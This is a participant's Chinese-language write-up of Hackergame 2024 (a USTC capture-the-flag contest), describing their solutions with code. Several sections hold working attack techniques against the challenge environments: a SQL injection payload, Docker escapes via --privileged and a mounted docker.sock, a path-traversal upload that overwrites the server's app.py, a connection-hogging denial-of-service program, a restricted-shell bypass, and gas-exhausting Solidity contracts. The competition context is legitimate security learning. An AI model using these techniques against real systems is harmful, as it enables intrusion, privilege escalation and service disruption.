Table of contents
Open Table of contents
Introduction
Hackergame 2024 是中国科学技术大学第十一届信息安全大赛。这是我第一次参加这种类似 CTF 的比赛,但是玩的还是很开心 🥰 最后得到 5950 分,总排名 25/2460。
这次比赛也让我学习到很多知识。很多技术以往只是模糊知道概念,实际并没有上手过,于是实际上就是不知道。在一个较为拟真的环境中将这些东西实际实现出来,大大有利于技术的精进,又是大量题目密集在一起,实在直呼过瘾。当然,也确实指出了我现在的不足之处 (如果要搞全沾开发) :binary 题我是一个不会啊 😭
本来是想将本文写成题解的。但是我赛后去看了一下官方题解,其实与我的方案都差别不小,而官方题解显然更加优雅而具有学习意义。于是此文权当一个对我做题过程和思路的简单记录罢。因此以下题目按我赛时开题顺序。
签到
浏览器调出开发者工具对前端代码进行审计,注意到 function submitResult()
中最后 window.location = `?pass=${allCorrect}`;
于是地址后面加上 ?pass=true
即可。
喜欢做签到的 CTFer 你们好呀
首先谷鸽搜索 「中国科学技术大学 战队」, 得知「校内 CTF 战队」应是指「Nebula」,然后逛了一下找到官网是 nebuu.la 。不过其实比赛主页有
通过 help
看了眼所有命令,再花了一分钟全试了一遍,发现一个在 env
,另外一个通过 ls -la
发现在 .flag
。
猫咪问答(Hackergame 十周年纪念版)
搜索引擎题。
- 在 https://lug.ustc.edu.cn/wiki/lug/events/hackergame/ 可以看到历次比赛的存档。推算得知第二届即为 2015 年。
- 对着官方往年题解一个个数。
- 翻到官方 2018 年的题解发现当年也有「猫咪问答」,其中第 4 题要求在图书馆中检索《程序员的自我修养:链接、装载与库》。于是合理推测答案为
程序员的自我修养
。 - 咕鸽搜索 「USENIX Security USTC」,没有得到满意的结果。更换关键词为 「USENIX 2024 USTC “email”」 得到 https://www.usenix.org/system/files/usenixsecurity24-ma-jinrui.pdf 。
直接一个 Cmd-F 搜 「combination」 就得到了
, resulting in 336 combinations (including 16 web interfaces of target providers).
(Ma et al., 2024) - 紧跟时事了。https://github.com/torvalds/linux/commit/6e90b675cf942e50c70e8394dfb5862975c3b3b2
- https://belladoreai.github.io/llama3-tokenizer-js/example-demo/build/ 但是发现不对,尝试 +1 或者 -1 遂过。
打不开的盒
咕果搜索 「what is a stl file」 得知原来这是个 3D 模型,而且 macOS 自带的 Preview.app 可以直接打开。遂直接开盒手抄出 flag。
每日论文太多了!
下载 PDF 直接 Cmd-F 搜索 「flag」,发现在 Figure 6, p. 508 (Wang et al., 2024) 命中了一个 flag here
,但是表面看不到任何文字。
于是把 PDF 丢进了 Pixelmator Pro (或者其他可以编辑矢量图的)一看,表面覆盖了一层白色填充,可以直接拖到一边去,底下的 flag 就看得到了。
比大小王
发现你这小孩哥是个代码,那我也上代码吧。
game = session.post(
"/game",
cookies=cookies,
headers=headers,
json=json_data,
verify=False,
)
game_data = json.loads(game.text)["values"]
results = []
for game in game_data:
[a, b] = game
results.append(">" if a > b else "<")
results_json = {"inputs": results}
注意需要一个比较合适的延迟再上传答案,不然系统会判断作弊。
import time
time.sleep(7)
submit = session.post(
"/submit",
cookies=cookies,
headers=headers,
json=results_json,
verify=False,
)
print(json.loads(submit.text))
即可击败你这虚伪的小孩哥。
旅行照片 4.0
搜索引擎题。
…LEO 酱?…… 什么时候
- 百度地图首先搜索「合肥」跳转到合肥市内,然后搜索「科里科气科创驿站 中科大」即可直接确定。
- 古歌搜索「中科大音乐会」,找到 https://space.bilibili.com/7021308/article ,在里面翻 5 秒钟就看到了。
诶?我带 LEO 酱出去玩?真的假的?
- 放大图片右下角垃圾桶盯帧,发现写的「六安」。同样百毒地图首先搜索「六安」,再搜索「公园」。给出了一系列公园,我猜是按热度排序的?先看第一个“中央森林公园”,打开卫星图可以发现步道中间有类似的线,同样被划分成三条道。
- 直接咕歌搜图可以找到携程上的页面。都不用点进去看,“坛子岭”就写在标题上。
尤其是你才是最该多练习的人
- 先做第 2 问。注意到此处存车线规模巨大且部分线上盖有建筑,应该是一个「动车所」。继续搜索「怀密 动车所」,可以确定怀密线使用的是「北京北动车所」。在摆渡地图搜索,可以确定附近的医院为 “积水潭医院”。(看起来这张照片就是在医院楼上拍的?
- 左下角那组车的粉色
在北京的雾霾天很是显眼啊,古割搜索「CRH 粉色」可以确定这是「市郊铁路怀密线」。车辆型号为 “CRH6F-A”。
PaoluGPT
千里挑一
写了一个爬虫。
response = requests.get(
"/list",
cookies=cookies,
headers=headers,
)
tree = etree.HTML(response.text)
links = tree.xpath("//ul//a/@href")
for link in links:
conv = requests.get(
BASE_URL + link,
cookies=cookies,
headers=headers,
)
flags = re.findall(r"flag{.*?}", conv.text)
if len(flags):
print(flags, link)
窥探未知
发现网站源码是可以下载的,于是对其进行一个审计。发现 L67, main.py SQL语句没有做任何检查就格式化进去了。
results = execute_query(f"select title, contents from messages where id = '{conversation_id}'")
不过我已经忘记怎么写注入了,遂让 sqlmap 代劳。
nix run nixpkgs#sqlmap -- "/view?conversation_id=e94185f1-f26e-491c-bccf-92bd9f76b996" --cookie= --columns
给出了盲注的 payload。
' AND 2724=2724 AND 'Magr'='Magr
观察 @app.route("/list")
的代码,其中要求
where shown = true
结合本小题名字,最后我们访问 /view?conversation_id=0' OR shown=false AND 2724=2724 AND 'Magr'='Magr
。在页面上 Cmd-F 「flag」 就找到了。
先不说关于我从零 (后略)
「行吧就算标题可 (后略)
当成填空题做了。但是你都打上 AI 标签了,那 AI 先填一遍。我再改一遍。
「就算你把我说的 (后略)
不会。看官方题解发现自己应该会的。确实是对 LLM 理解不够深入了。
强大的正则表达式
Easy
Wikipedia 说整除 16 只需要末 4 位被整除即可。所以我们可以把 0-9999 所有被整除的列出来,前面再允许任意数字就好了。
rex = []
for i in res:
i = str(i)
if len(i) == 1:
rex.append(f"((000){i})")
if len(i) == 2:
rex.append(f"((00){i})")
if len(i) == 3:
rex.append(f"((0){i})")
if len(i) == 4:
rex.append(f"({i})")
rest = f"(|0|1|2|3|4|5|6|7|8|9)*({"|".join(rex)})"
print(rest)
Medium
我们可以构造一个状态机(毕竟正则都叫正则了),而二进制输入更是为构造降低了难度。
具体来说,13 的余数 0-12 是 13 个状态,输入只有 0 和 1,初始状态为 0,接受的最终状态为 0。那么转移函数 可以定义为 。
于是我就开心地去手动把这个自动机画完了,问题只剩下怎么把状态机写成正则表达式。手动去翻译是不愿意的,这玩意看起来还挺长的。于是找到了 greenery 这个库。
from greenery import Charclass, Fsm
fsm = greenery.Fsm(
alphabet={Charclass("0"), Charclass("1"), ~Charclass("01")},
states={0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, -1},
initial=0,
finals={0},
map={
0: {Charclass("0"): 0, Charclass("1"): 1, ~Charclass("01"): -1},
1: {Charclass("0"): 2, Charclass("1"): 3, ~Charclass("01"): -1},
2: {Charclass("0"): 4, Charclass("1"): 5, ~Charclass("01"): -1},
3: {Charclass("0"): 6, Charclass("1"): 7, ~Charclass("01"): -1},
4: {Charclass("0"): 8, Charclass("1"): 9, ~Charclass("01"): -1},
5: {Charclass("0"): 10, Charclass("1"): 11, ~Charclass("01"): -1},
6: {Charclass("0"): 12, Charclass("1"): 0, ~Charclass("01"): -1},
7: {Charclass("0"): 1, Charclass("1"): 2, ~Charclass("01"): -1},
8: {Charclass("0"): 3, Charclass("1"): 4, ~Charclass("01"): -1},
9: {Charclass("0"): 5, Charclass("1"): 6, ~Charclass("01"): -1},
10: {Charclass("0"): 7, Charclass("1"): 8, ~Charclass("01"): -1},
11: {Charclass("0"): 9, Charclass("1"): 10, ~Charclass("01"): -1},
12: {Charclass("0"): 11, Charclass("1"): 12, ~Charclass("01"): -1},
-1: {Charclass("0"): -1, Charclass("1"): -1, ~Charclass("01"): -1},
},
)
pattern = greenery.rxelems.from_fsm(fsm.reduce())
但是这个表达式有一些地方不符合我们题目的要求,具体来说,里面用了 ?
和 {\d}
。所以我手动对正则表达式做了一些正则替换。简单来说就是把 ?
换成 (.*|)
,再把 {\d}
展开。
pattern.equivalent(
greenery.parse(
""
)
)
最后验证表达式等价。
Hard
显然与上一题是相同的套路。不过我没写出来转移函数……因为不会 CRC。
惜字如金 3.0
又是 CRC 😭
题目 A
填空题。AI 也会填。
ZFS 文件恢复
哎呀最近正好在玩 ZFS。来让我看看!
首先拿到一个 .img
,传统美德是先丢进十六进制查看器看一眼搜一下,结果直接把 flag2.sh
拿到手了。虽然不是 flag,那就先存着。
那就挂载镜像吧,先用的参考命令。进去一看有个 snapshot,但是我们直接跑到 data/.zfs/snapshots
下面也是没看着文件。
然后一看,仅供参考怎么是加粗的(其实没有什么特别意义),然后看了一下可以 zpool-import
到一个特定 txg
来进行回滚。然后我把全部 txg 都列出来(zdb -u
,虽然没什么用),然后都回滚了一遍发现什么也没发现。
好吧,那只能让 zdb
多吵吵一下了,zdb -ddddd hg2024
拿出来了很多东西,慢慢分析一下。文档是说,Specified once, displays basic dataset information: ID, create transaction, size, and object count.
(zdb(8)) 。这是把所有 object 和有关 block 都列出来了。
那我们来找找我们想要的:文件。在输出里搜索 ZFS plain file
,可以看到只有两个。遂大喜,这显然就是 flag1.txt
和 flag2.sh
。注意 flag2.sh
我们已经拿到了,是个比较小的文件。可以据此区分两个文件。(而且只有一个文件 mode 里有 x )
Object lvl iblk dblk dsize dnsize lsize %full type
2 2 128K 4K 3.50K 512 8K 100.00 ZFS plain file
176 bonus System attributes
dnode flags: USED_BYTES USERUSED_ACCOUNTED USEROBJUSED_ACCOUNTED
dnode maxblkid: 1
path on delete queue
uid 0
gid 0
atime Thu Mar 9 23:56:50 2006
mtime Sun May 29 03:49:29 1977
ctime Wed Oct 23 21:37:22 2024
crtime Wed Oct 23 21:37:22 2024
gen 10
mode 100644
size 4135
parent 34
links 0
pflags 840800000004
Indirect blocks:
0 L1 0:21800:400 20000L/400P F=2 B=11/11 cksum=00000090a02a87e8:00005c1242163a70:001f9a22c2a8565e:07b4c5ba8259446b
0 L0 0:20e00:a00 1000L/a00P F=1 B=11/11 cksum=0000014a1deb79ea:0001a7601903257e:0162d0f05c3cdc80:ddef6cee5f27f0da
1000 L0 EMBEDDED et=0 1000L/49P B=11
segment [0000000000000000, 0000000000002000) size 8K
Object lvl iblk dblk dsize dnsize lsize %full type
3 1 128K 512 512 512 512 100.00 ZFS plain file
176 bonus System attributes
dnode flags: USED_BYTES USERUSED_ACCOUNTED USEROBJUSED_ACCOUNTED
dnode maxblkid: 0
path on delete queue
uid 0
gid 0
atime Mon Nov 10 04:49:03 2036
mtime Sat Jan 12 01:18:00 2013
ctime Wed Oct 23 21:37:22 2024
crtime Wed Oct 23 21:37:22 2024
gen 11
mode 100755
size 331
parent 34
links 0
pflags 840800000104
Indirect blocks:
0 L0 0:20800:200 200L/200P F=1 B=11/11 cksum=000000183f4804d4:0000083252f9e1df:0001815a81b4ab7f:00329586c233bc76
segment [0000000000000000, 0000000000000200) size 512
那么这时候 flag2 已经可以解了。看文档 stat(1):
%X time of last access, seconds since Epoch
%Y time of last data modification, seconds since Epoch
那么我们只需要分别把两个文件的 atime
和 mtime
转换成 UNIX timestamp,替换到 flag2.sh
运行即可。
然后我开始着手恢复 flag1.txt
。我一开始想,啊,我都知道你文件 object 对应哪些 block 了,直接读这些 block (zdb -R
) 不行吗。主要存在两个问题。其一,文件是被 gzip 压缩的,而 zdb -R 在信息熵不足的时候无法正确解压缩。其二,flag1.txt
有一部份块地址为 EMBEDDED
,然后我当时没查到这个地址指的啥 🥲
不过没关系,我们 zdb 也是可以直接读 object 的。zdb -B
可以直接 dump 一个 dataset 出来,然后可以被 zstream dump -d
解析出来。
也就是 zdb -B hg2024/139 | zstream dump -d
6c 75 61 69 78 6d 70 72 70 67 68 61 71 6a 66 6c luai xmpr pgha qjfl
checksum = 2388d63a19/37aec6ae4719/393e10dd9e0ed3/2c106546000e7e31
WRITE object = 2 type = 19 checksum type = 2 compression type = 0 flags = 0 offset = 4096 logical_size = 4096 compressed_size = 0 payload_size = 4096 props = 0 salt = 0000000000000000 iv = 000000000000000000000000 mac = 00000000000000000000000000000000
61 67 7b 70 31 41 49 6e 4e 4e 6d 6d 6e 6e 6d 6d ag{p 1AIn NNmm nnmm
6e 74 45 78 78 74 5f 35 30 65 61 73 79 7e 72 31 ntEx xt_5 0eas y~r1
67 68 74 3f 7e 7d 0a 00 00 00 00 00 00 00 00 00 ght? ~}.. .... ....
果然是跨块了,坏!
零知识数独
数独高手
网页上玩 4 个数独就行了。
剩下的不会。
无法获得的秘密
看到这题我首先想到的是 QR Code。但是我一看,这输入确实是只有键盘鼠标啊,那 QR Code 的库要手敲进去 15 分钟估计是敲不完。其实看赛后题解发现可以写自动化,不过我代码都是远程服务器写所以第一时间没想到在本地跑代码。
那就退而求其次,我第二个想到的是 OCR。先用 base85 和 base64 测试了一下,发现识别准确率不够理想。但是拷打 AI 得到了一篇博客 (Monperrus, 2020),里面提出识别十六进制的准确度很高。
那就开始实现吧。首先需要把文件转成十六进制,这部分可以用 xxd -p
实现。但是 xxd 输出会在 80 个字符处换行,这样占不满屏幕很没效率。所以可以接一个 tr -d "\n"
。
然后是一个卡了我比较久的问题,输出了这么多字符怎么一个不落地显示出来。我是快速写了一个简短的 python 脚本(保证我能在两分钟内敲出来)。
import sys
import os
import time
s = os.get_terminal_size()
ct = s.columns * s.lines
i = sys.stdin.read()
ps = [i[j:j+ct] for j in range(0, len(i), ct)]
for s in ps:
os.system('clear')
print(s, end='', flush=True)
sys.stdout.flush()
time.sleep(0.7)
print("")
只需要全屏 Terminal (还可以先改分辨率),再运行 xxd -p /secret | tr -d "\n" | python3 a.py
,应该就好了…… 不是。这个 VNC 居然会跳帧,于是还得来回修改每次输出间的延时。最后将终端画面通过屏幕录制存下来,那本质上我们已经把文件带出来了,只差怎么还原。
首先考虑到这是个视频文件,我先用 opencv 将重复的帧剔除。具体来说,将每一帧二值化后与上一帧求差,若不同的像素数量高于阈值则认为是不同的帧而保存下来。
def are_different_frames(a: cv2.UMat, b: cv2.UMat) -> bool:
a = cv2.cvtColor(a, cv2.COLOR_BGR2GRAY)
a = cv2.threshold(a, 200, 255, cv2.THRESH_BINARY)[1]
b = cv2.cvtColor(b, cv2.COLOR_BGR2GRAY)
b = cv2.threshold(b, 200, 255, cv2.THRESH_BINARY)[1]
diff = cv2.absdiff(a, b)
diff_pixel_count = cv2.countNonZero(diff)
return diff_pixel_count > 37200
可以看到效果还是不错的。
cap = cv2.VideoCapture("data.mov")
ret, prev_frame = cap.read()
unique_frames = [prev_frame]
while True:
ret, curr_frame = cap.read()
if not ret:
break
if are_different_frames(prev_frame, curr_frame):
unique_frames.append(curr_frame)
prev_frame = curr_frame
cap.release()
那么接下来是 OCR 的环节。这里我选用了 PaddleOCR。需要注意帧的尺寸太大时 OCR 库可能会在前处理时进行压缩,在现在这种场景下这对准确度会是毁灭性的打击。不过这个行为通常可以通过配置关闭。
from paddleocr import PaddleOCR
ocr = PaddleOCR(
use_angle_cls=False,
lang="en",
det_limit_side_len=25600,
)
hex_texts = []
for frame in unique_frames:
hex_texts.append("".join([line[1][0] for line in ocr.ocr(frame, cls=False)[0]]))
bytes_result = bytes.fromhex("".join(hex_texts))
with open("secret", "wb") as secret:
secret.write(bytes_result)
secret.close()
PaddleOCR 确实厉害,一次通过。
Node.js is Web Scale
是开了浏览器 Developer Tools 在 Console 里模拟了一下,发现有个 __proto__
不知道是什么。
最后听 https://www.youtube.com/watch?v=gCVTbfDecwI 听懂的。
Docker for Everyone Plus
这道题很好,但是体验不是太好。主要问题是题目环境虚拟机启动太慢,文件上传困难。
No Enough Privilege
首先发现我们可以 sudo docker image load
,那么我们肯定是要上传一个镜像上去的。各种奇怪而无效的尝试略,最后使用 iTerm 2 + lrzsz + 神秘脚本。zmodem 又套上 nc 那是双重的慢,自然我们希望这个镜像能小一点,不然加载完镜像已经没时间做题了。
说起小镜像第一印象自然是 scratch
,白纸一张啥都没有。那么接下来最小可用的很容易想到是 busybox,一搜果然有官方镜像,busybox:uclibc
仅 1.23M,我都懒得再 gzip 一下了。
那么我们已经可以 sudo docker run --rm -u 1000:1000 -it busybox:uclibc
拿到一个我们有完全控制的 shell 了。
ls -ln
看到 /flag
在 0(root)
组内也是可以读的,接着看被连接的 /dev/vdb
,同样组内可读,不过组是 6(disk)
。那么我们的思路就是给容器加上这些组,再让它能读设备。
sudo docker run --rm -u 1000:1000 -it --group-add 0 --group-add 6 --privileged -v /flag:/flag busybox:uclibc
cat /flag
拿到第一个 flag。
Unbreakable!
看到 docker run
被加了这么多限制,我是怒从心头起,直接不用你给我的 sudo docker run
了。
其实也很简单,众所周知 docker
本质只是一个客户端,其通过 /var/run/docker.sock
向 Docker Daemon 交互。那么我的思路就是把这个 .sock 映射进自己的容器里,再用自己(从 host 映射来)的 docker cli 交互。但是 Docker Daemon 就那一个跑在宿主机上,所以相当于得到了完整的 docker cli。
这里只有一个小小的问题,docker
在 busybox:uclibc
里缺运行库捏。在宿主机上 ldd
看一眼,使用的是 musl。那我们干脆就传个 alpine 镜像吧。gzip -9
以后大概 3.5M,也能接受。
sudo docker run --rm --security-opt=no-new-privileges -u 1000:1000 --group-add 103 -it -v /var/run/docker.sock:/var/run/docker.sock:rw -v /usr/bin/docker:/usr/bin/docker alpine
docker run -it --rm --group-add 0 --group-add 6 --privileged -v /flag:/flag alpine
cat /flag
不太分布式的软总线
又出现了文件上传困难,后面类似需要传二进制的题都有同样情况。
What DBus Gonna Do?
简单拷打 AI 可以得到一个命令就能解决。
#!/bin/sh
dbus-send --print-reply --dest=cn.edu.ustc.lug.hack.FlagService /cn/edu/ustc/lug/hack/FlagService cn.edu.ustc.lug.hack.FlagService.GetFlag1 string:com.pgaur.GDBUS string:"Please give me flag1"
If I Could Be A File Descriptor
对着题目附件给的 getflag3.c
照猫画虎写了一个。可以传一个 pipe 过去。坑点在于接受 fd 居然是在另外的参数,所以要用另外的函数。
connection = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &error);
int pipefd[2];
int fd = pipefd[1];
const char *message = "Please give me flag2\n";
size_t message_length = strlen(message);
if (write(fd, message, message_length) != message_length) {
perror("write failed");
close(fd);
return EXIT_FAILURE;
}
close(fd);
int rfd = pipefd[0];
result = g_dbus_connection_call_with_unix_fd_list_sync(
connection, DEST, OBJECT_PATH, INTERFACE, METHOD, g_variant_new("(h)", 0),
g_variant_type_new("(s)"), G_DBUS_CALL_FLAGS_NONE, -1,
g_unix_fd_list_new_from_array(&rfd, 1), NULL, NULL, &error);
if (result) {
gchar *flag;
g_variant_get(result, "(&s)", &flag);
g_print("%s", flag);
g_variant_unref(result);
} else {
g_printerr("Error calling D-Bus method %s: %s\n", METHOD, error->message);
g_error_free(error);
}
然后编译也照着给的 Makefile
用 pkg-config 。但是问题就是这个编译出来的二进制,传上去不运行!
报的 file not found
,估摸着是动态链接的问题,那就编译成静态文件吧。首先要对编译命令作出一些修改
flag2: flag2.c
gcc -static `pkg-config --static --cflags blkid glib-2.0 gio-2.0` flag2.c -o flag2 `pkg-config --static --libs blkid glib-2.0 gio-2.0`
然后我们写一个 nix package 来创造一个合适的编译环境
flag2 = pkgs.stdenv.mkDerivation {
pname = "flag2";
version = "1.0";
src = ./src;
buildInputs =
(with pkgs.pkgsStatic; [
glib
pcre2
libselinux
libsepol
])
++ (with pkgs; [
musl
util-linux
gcc13
gnumake
pkg-config
]);
nativeBuildInputs = with pkgs; [ gcc13 ];
buildPhase = ''
make clean
make flag2
'';
installPhase = ''
mkdir -p $out
cp flag2 $out
'';
};
nix build .#flag2
后上传 ./result/flag2
即可。
Comm Say Maybe
拷打 AI 得知可以通过 prctl 改自己的 /proc/self/comm
。然后还给了个用 GNU D-Bus 的 code,我觉得比题目给的 gio 更可读一点。
connection = dbus_bus_get(DBUS_BUS_SYSTEM, &error);
message = dbus_message_new_method_call(DEST, OBJECT_PATH, INTERFACE, METHOD);
const char *payload = "getflag3";
if (prctl(PR_SET_NAME, (unsigned long)payload, 0, 0, 0) != 0) {
perror("prctl");
return EXIT_FAILURE;
}
reply = dbus_connection_send_with_reply_and_block(connection, message, -1,
&error);
if (dbus_message_iter_init(reply, &args)) {
if (DBUS_TYPE_STRING == dbus_message_iter_get_arg_type(&args)) {
dbus_message_iter_get_basic(&args, &result);
printf("Received response: %s\n", result);
} else {
fprintf(stderr, "Unexpected response type\n");
}
} else {
fprintf(stderr, "No response arguments\n");
}
禁止内卷
审计源代码发现没有对文件名做任何检查就会直接写入。友善地请 AI 帮我在前端页面写了个 js 函数来自定义文件名。
注意到题面给出的「完整」启动命令中没有给出文件名。从 Flask 文档可以看到有一个自动发现的行为,那么文件名大概率是 app.py
或者 wsgi.py
。
最后上传 ../web/app.py
@app.route("/", methods=["GET"])
def index():
with open("answers.json") as f:
answers = json.load(f)
return json.dumps(answers)
数据处理就很简单了
"".join(chr(i) for i in data)
动画分享
只要不停下 (后略)
审计源代码发现这个服务器是单线程的。而 TCP 是有状态的,我们可以建立一个 TCP 连接而不发送任何信息,于是服务器就会被卡死。但是我们需要让提交的程序先行返回才能触发判定 flag 的机制。可以 fork 一个进程出来然后让子进程睡大觉。
void open_connections() {
int sockets[NUM_CONNECTIONS];
struct sockaddr_in server_addr;
char *server_ip = "127.0.0.1";
int port = 8000;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
if (inet_pton(AF_INET, server_ip, &server_addr.sin_addr) <= 0) {
perror("Invalid address or address not supported");
exit(EXIT_FAILURE);
}
for (int i = 0; i < NUM_CONNECTIONS; i++) {
sockets[i] = socket(AF_INET, SOCK_STREAM, 0);
if (sockets[i] < 0) {
perror("Socket creation error");
exit(EXIT_FAILURE);
}
if (connect(sockets[i], (struct sockaddr *)&server_addr,
sizeof(server_addr)) < 0) {
perror("Connection failed");
close(sockets[i]);
exit(EXIT_FAILURE);
}
}
sleep(300);
}
int main() {
pid_t pid = fork();
if (pid < 0) {
perror("Fork failed");
return 1;
} else if (pid == 0) {
open_connections();
exit(0);
} else {
printf("Parent process returning immediately.\n");
return 0;
}
}
希望的终端 (后略)
没做出来。以为是跟 X Server 有关。
关灯
Easy - Hard
跟二维的关灯没有本质区别,同样可以用线代计算。于是高斯消元的代码都没动。只需要处理一下如何把三维展开到一维。
def get_index(x: int, y: int, z: int) -> int:
return x * n * n + y * n + z
def create_matrix():
A = np.zeros((n * n * n, n * n * n), dtype=int)
for i in range(n):
for j in range(n):
for k in range(n):
index = get_index(i, j, k)
A[index][index] = 1
if i + 1 < n:
A[index][get_index(i + 1, j, k)] = 1
if i - 1 >= 0:
A[index][get_index(i - 1, j, k)] = 1
if j + 1 < n:
A[index][get_index(i, j + 1, k)] = 1
if j - 1 >= 0:
A[index][get_index(i, j - 1, k)] = 1
if k + 1 < n:
A[index][get_index(i, j, k + 1)] = 1
if k - 1 >= 0:
A[index][get_index(i, j, k - 1)] = 1
return A
def gauss(A, b):
n = len(b)
for i in range(n):
pivot_row = i + np.argmax(A[i:, i])
if A[pivot_row, i] == 0:
continue
A[[i, pivot_row]] = A[[pivot_row, i]]
b[[i, pivot_row]] = b[[pivot_row, i]]
for j in range(i + 1, n):
if A[j, i] == 1:
A[j] ^= A[i]
b[j] ^= b[i]
x = np.zeros(n, dtype=int)
for i in range(n - 1, -1, -1):
x[i] = b[i]
for j in range(i + 1, n):
x[i] ^= A[i][j] * x[j]
return x
b = np.array(initial_state, dtype=int)
solution = gauss(A, b)
PowerfulShell
首先我们大致看一下还剩下哪些字符可用: `$|[]{}~-_=+:
看到 $
就知道大概是要各种神奇的变量展开了。而且只有 0
被禁掉了(不然就太简单了)也是直接印证了我的想法。于是翻 bash 手册去了。最后选出来 ~
= /players
,$-
= hB
。一看 s h
齐全了,想办法拼在一起就好了。
可以看到 bash 有一个写法是 ${parameter:offset:length}
,不过 h
在 offset 0 不能直接写,可以倒过来当成 offset -2 。
__=~ #/players
___=$- #hB
${__: -1: 1}${___: -2: 1}
cat ../flag
不宽的宽字符
礼貌询问 AI 得知在 Windows 上 wchar_t 是 UTF16-LE,而且 std::wstring::c_str()
给的是个 wchar_t*
。然后聪明的小 A 帮我们强转成了 char*
。众所周知一个 char*
会结束在 \0
。那么目标就是构造一个后 8 位为 0 的 UTF16-LE。
先把 theflag
转成 ASCII,发现正好是 7 字节:74 68 65 66 6c 61 67
那么补一个 00 得到 74 68 65 66 6c 61 67 00
,按 UTF16-LE 解码即可:桴晥慬g
。
优雅的不等式
Easy
一开始我看样例里面给的
形式挺好的,就这么解一下吧。看了一下 h(x)
的度太低,不妨先来个 2 推着玩。
那么令 ,得到 。即 。
Hard
结果我是在这个方向上执迷不悟啊,推了半天都没去管 。然后一看,这提交长度限制只有 400,感觉这个方向是错的。那就直接构造 吧。
搜到 Lucas (2009) 近一步拓展了
指出
可以看到在有解的情况下,如果 则
那么我们在想要 的情况下,只需要求解
三个方程即可得到 了。
接下来的问题是如何选择 。大力枚举发现 越大有解的 就越小,而且不会影响大的 。最后主要考虑到 400 字符的提交限制,差不多选了一个。
m = 82
n = 81
integrand = x**m * (1 - x) ** n * (a + b * x + c * x**2) / (1 + x**2)
integral = sp.simplify(sp.integrate(integrand, (x, 0, 1)))
eq1, eq2, eq3 = 0, 0, 0
for term in integral.args:
term_dpi = term / sp.pi
if term.is_Symbol or (
term.is_Mul
and len(term.args) == 2
and (
(term.args[0].is_Symbol and term.args[1].is_Rational)
or (term.args[1].is_Symbol and term.args[0].is_Rational)
)
):
eq1 += term
elif term_dpi.is_Symbol or (
term_dpi.is_Mul
and len(term_dpi.args) == 2
and (
(term_dpi.args[0].is_Symbol and term_dpi.args[1].is_Rational)
or (term_dpi.args[1].is_Symbol and term_dpi.args[0].is_Rational)
)
):
eq2 += term_dpi
else:
eq3 += term / sp.log(2)
def compute_integral_and_solve(p: int, q: int) -> str:
solution = sp.solve(
[eq1 + sp.Rational(p, q), eq2 - 1, eq3],
(a, b, c),
rational=True,
dict=True,
)
if not len(solution):
return
ra = solution[0][a]
rb = solution[0][b]
rc = solution[0][c]
domain = sp.Interval(0, 1)
gtz = sp.solveset((ra + rb * x + rc * x**2) >= 0, x, domain) == domain
if gtz:
ans_str = str(sp.simplify(x**m * (1 - x) ** n * (ra + rb * x + rc * x**2) / (1 + x**2)))
return ans_str
链上转账助手
从来没接触过 Web3 和 Solidity,全靠拷打 AI。
转账失败
batchTransfer
会通过 .transfer
调用我们写的合约中的 payable
函数。我们可以选择在这个函数中拒绝这个 transfer。
contract BatchTransfer {
fallback() external payable {
require(false, "never accept");
}
}
转账又失败
Solidity 中每个操作都会消耗一定的 gas,而如果耗尽会直接回滚整个块。
contract BatchTransfer {
address sender;
function stalling1() internal {
stalling2();
}
function stalling2() internal {
stalling1();
}
receive() external payable {
sender = msg.sender;
require(msg.value > 0);
stalling1();
}
}
LESS 文件查看器在线版
开的最后一道题。其实已经查到 lesspipe 了。但是后来出去逛街了没继续做。